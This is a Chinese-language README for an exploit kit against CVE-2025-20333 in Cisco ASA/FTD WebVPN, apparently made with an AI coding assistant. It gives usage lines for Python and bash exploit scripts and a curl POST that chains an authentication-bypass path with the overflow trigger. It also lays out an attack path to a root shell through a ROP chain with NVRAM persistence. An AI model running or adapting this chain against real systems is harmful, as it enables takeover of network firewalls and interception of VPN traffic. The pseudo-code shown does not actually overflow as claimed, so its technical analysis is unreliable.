本目录包含针对 CVE-2025-20333 的全面研究、分析和概念验证代码,这是 Cisco ASA/FTD WebVPN 服务器中的一个严重栈缓冲区溢出漏洞。
状态: ⚠️ 已在野外被积极利用(ArcaneDoor 攻击活动)
CVSS 评分: 9.8 严重
认证要求: 否(通过 CVE-2025-20362 绕过)
影响: 以 root 权限远程执行代码
CVE-2025-20333-RESEARCH-NOTES.md(20 KB)完整的逆向工程研究
关键发现:
body_lexer.re2c 中的固定 16 字节缓冲区(local_58[16])
URL 解码循环没有边界检查
写入 local_58[iVar11] 时未检查 iVar11 < 16
超过 8 个十六进制对后:溢出 → 栈损坏 → RCE
EXPLOITATION-GUIDE.md(12 KB)实用利用手册
cve-2025-20333-poc.py(15 KB)功能完整的 Python 漏洞利用
功能:
用法:
# 显示漏洞详情
python3 cve-2025-20333-poc.py --details
# 利用目标
python3 cve-2025-20333-poc.py 192.168.1.100 443
# 自定义设置
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh(8.5 KB)轻量级 bash 漏洞利用
功能:
用法:
# 显示详情
./cve-2025-20333-poc.sh --details
# 利用
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# 手动使用 curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
// body_lexer.re2c - URL 解码循环
byte local_58[16]; // ← 固定 16 字节缓冲区
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← 没有边界检查!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
溢出触发条件: POST 请求体中连续 9 个以上 %XX 序列
1. 攻击者(无需认证)
↓
2. 向 /+CSCOU+/../+CSCOE+/files/file_list.json 发送 HTTP POST
├─ CVE-2025-20362:路径遍历绕过认证检查
└─ 到达 files_retr.lua 端点(auth_flag = 0)
↓
3. POST 请求体:name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9 个以上 URL 编码对)
↓
4. body_lexer.re2c 处理 POST 请求体
├─ 将十六进制对累积到 local_58[16]
└─ 超过 8 对后:溢出!
↓
5. 栈损坏
├─ 覆盖 local_48、local_40
├─ 覆盖保存的 RBP
└─ 覆盖保存的 RIP(返回地址)
↓
6. 控制流劫持
├─ RIP 指向 ROP 小工具
├─ ROP 链设置 execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. 以 root 权限 RCE(lina 进程以 root 运行)
├─ 完全 VPN 服务器沦陷
├─ 访问所有 VPN 流量
└─ 通过 NVRAM 修改实现持久化
lina 二进制文件/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16],无边界检查验证授权
运行漏洞利用
# 快速检查:目标是否对利用尝试有响应?
python3 cve-2025-20333-poc.py <target_ip>
# 或 bash 版本:
./cve-2025-20333-poc.sh <target_ip>
验证利用结果
记录发现
阅读研究笔记
CVE-2025-20333-RESEARCH-NOTES.md研究 PoC
改编与扩展
⚠️ 法律声明
本工具包仅供授权的安全测试使用。
✅ 授权使用:
❌ 禁止使用:
cve-2025-20333/
├── README.md (本文件)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 KB,综合研究)
├── EXPLOITATION-GUIDE.md (12 KB,实用指南)
├── cve-2025-20333-poc.py (15 KB,Python PoC)
└── cve-2025-20333-poc.sh (8.5 KB,bash PoC)
文档总量: 约 65 KB
研究深度: 审计了 50 多个 Ghidra 函数
已验证发现: 确认 body_lexer.re2c 中的缓冲区溢出
# 测试目标是否易受利用
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# 如果目标有响应(200、500、崩溃),则可能易受攻击
# 如果目标阻止/重定向,则可能已修补
# 易受攻击版本:
# - Cisco ASA 9.16 至 9.23
# - Cisco FTD 7.0 至 7.7
# 使用 SSH/控制台检查 ASA 版本:
show version
# 已修补版本:
# - ASA 9.16.4.51、9.18.4.31、9.20.4.49、9.22.4.9、9.24.1+
# - FTD 7.0.x、7.1.x、7.2.x(已修补)
本工具包按"原样"提供,仅供教育和授权测试使用。
本项目在 Claude Code(Anthropic 的 AI 驱动编码助手)的协助下开发。
创建日期: 2026-08-23
研究周期: 2026-08-22 至 2026-08-23
状态: 已完成并记录
分类: 教育 / 仅限授权测试
| 属性 | 值 |
|---|
| CVE ID | CVE-2025-20333 |
| 类型 | 栈缓冲区溢出(CWE-120) |
| 组件 | body_lexer.re2c(FUN_0302e690) |
| 受影响版本 | ASA 9.16–9.23、FTD 7.0–7.7 |
| CVSS v3.1 | 9.8(严重) |
| 认证 | 不需要(通过 CVE-2025-20362) |
| 用户交互 | 无 |
| 影响 | 以 root 权限 RCE,完全系统沦陷 |
| 状态 | 已被积极利用(2025 年 5 月及以后) |
| 负责任披露 | Cisco 已修补;公告已发布 |